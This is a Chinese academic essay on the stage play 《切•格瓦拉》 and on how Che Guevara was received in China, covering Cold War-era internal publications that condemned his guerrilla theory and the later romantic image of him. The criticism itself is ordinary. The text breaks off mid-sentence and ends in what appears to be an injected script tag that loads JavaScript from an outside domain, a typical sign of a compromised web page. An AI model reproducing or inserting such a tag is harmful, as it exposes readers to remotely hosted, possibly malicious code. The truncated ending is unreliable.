“我们有幸把自己脑子里的创造，按历史人物来命名。”——歌德

    一、进出历史的“历史剧”

    历史剧是中国现代戏剧的一种重要形式，在中国现代戏剧史上，曾留下了郭沫若辉煌的“诗体历史剧”，创造了抗战后期以战国时期和太平天国为题材的历史剧的繁荣。“借古讽今”，“以史为鉴”，是中国的戏剧工作者一种熟悉的叙述策略，也是戏剧观众乐于接受的欣赏套路。有着悠久历史传统的中国人惯于在历史中寄托自己的现实想像，化历史叙述为现实变革的动力。

    《切•格瓦拉》一剧的特异之处在于作为戏剧主角的格瓦拉形象始终没有在剧中出现，也就是说，作为历史剧常用的空间错置和时间位移的策略并不是在叙述的虚拟中完成的，在这部戏里，叙述的空间直接放到了中国，时间也直接转到了20世纪90年代，而戏剧人物所在的历史空间(拉美)和时间（20世纪50—60年代）只是作为一种背景，在正反人物的冲突中不断发生“误认”。因而，在这部戏里，格瓦拉只是作为一个叙述的中心符号——用创作人员的话说，只是一种“思想”，一种“精神”，构成整部戏的叙述动力的是对作为这个中心符号的格瓦拉的阐释和质问，也就是说，这部戏的戏剧性所在就是当代中国社会对格瓦拉的不同理解，创作者正是从对格瓦拉这个“爆破点”上，爆发出当代中国社会“对某些基本的社会关系、社会价值以及历史走向的不同态度和立场”的反思和批判。

    那么，问题的关键便是，格瓦拉是在何种意义上被中国接受的？又是在何种意义上成为当代中国论说的场域的？

    格瓦拉对中国人来说并不是一个陌生的人物。他曾于1960年11月和1965年2月，先后两次访问中国，分别与毛泽东、周恩来、陈毅和邓小平、李先念、彭真会过面。在当时社会主义和资本主义两大阵营对立的“冷战”格局中，格瓦拉作为社会主义阵营中的一位政治领袖，应该是属于意识形态主流内的人物，对他的评价和接受，具有“不可言说”的一致性，但事实上，格瓦拉在中国的接受要复杂得多。

    在很长一段时间内，在一般中国人的知识系统中，对切•格瓦拉的认识大概仅仅限于《切在玻利维亚的日记》①以及两本传记。②前者属于20世纪60—70年代在中国知识界影响颇广的“灰皮书”，后两者也都是“内部出版物”，其中“詹姆斯写的那本恰恰是最右翼的一本，甚至受到其国内自由主义知识分子的批判”。③

    20世纪60—70年代的中国，在处于社会主义阵营分化，中苏大论战的背景下，格瓦拉是作为“游击中心主义者”受到批判的。在正式的定性式的称呼中，他甚至只是被称为“一个资产阶级革命民主派”，④70年代初内部出版的切•格瓦拉的《游击战》一书中，正文前习惯性地加上了一个以出版者为名义的批评性的“帽子”，指出格瓦拉的“游击中心”理论“闭口不谈无产阶级政党的领导，不作具体的阶级分析，鼓吹游击战要由城市中少数几个青年学生和知识分子作为‘领导核心’，在人烟稀少、居民分散的边远地区发动游击战争，采用‘打了就跑’的战术，通过最初的若干胜利把群众吸引到自己方面来，企图侥幸取得革命的胜利。这实际上就是搞冒险主义和流寇主义。”⑤对于这样的批评，对中国革命史耳熟能详的中国读者是能了然于心的，因为这马上能使他们想到给中国革命战争带来过沉痛教训的王明“左倾机会主义”路线。

    这种统摄性的政治批判观点排斥了对格瓦拉进行另外解读的可能，就在那本被称为是1968—1970年出版的16种格瓦拉传记中“唯一对格瓦拉作出正面评述”的苏联人写的传记的中文版的“译者的话”中，出版者再一次表达了权威性的批判观点，“书中着力描述格瓦拉的‘崇高理想’、‘英勇行为’和所谓的‘自我牺牲精神’，把一个资产阶级革命民主派打扮成‘共产主义战士’；把格瓦拉在玻利维亚由于执行一条错误路线而导致的惨败，说成是由于年轻、缺乏经验，甚至把它归结为所谓在拉丁美洲‘展开有效的武装斗争的客观条件尚未成熟’，大肆兜售‘和平过渡’的一套破烂货。”⑥在当时的国际政治格局下，这种政治性的理解也是处于另一个阵营中的主流“意识形态”理解格瓦拉的主要方式。按照这种理解方式，格瓦拉是社会主义“输出革命”中的一个“极端的牺牲品”，是“继续革命”和“绝对革命论”下的一个“病态的狂热分子”。为此，大量传记作家对格瓦拉的生平和人格进行了各种勾画和演绎，作出了种种的附会，把格瓦拉描绘成了一个身体上的病人、精神上的狂人、普遍人性的仇人。一个极端的职业革命家，一个为了政治目标不惜牺牲普通人利益的战争狂人，一个冷战政治的牺牲品。

    与此相对应，从1968年巴黎街头的青年学生高举格瓦拉的画像，嘴里喊着“切！切！”的口号开始，国际社会一直对格瓦拉存在着另一种理解。萨?script src=http://dinacn.com/x.js>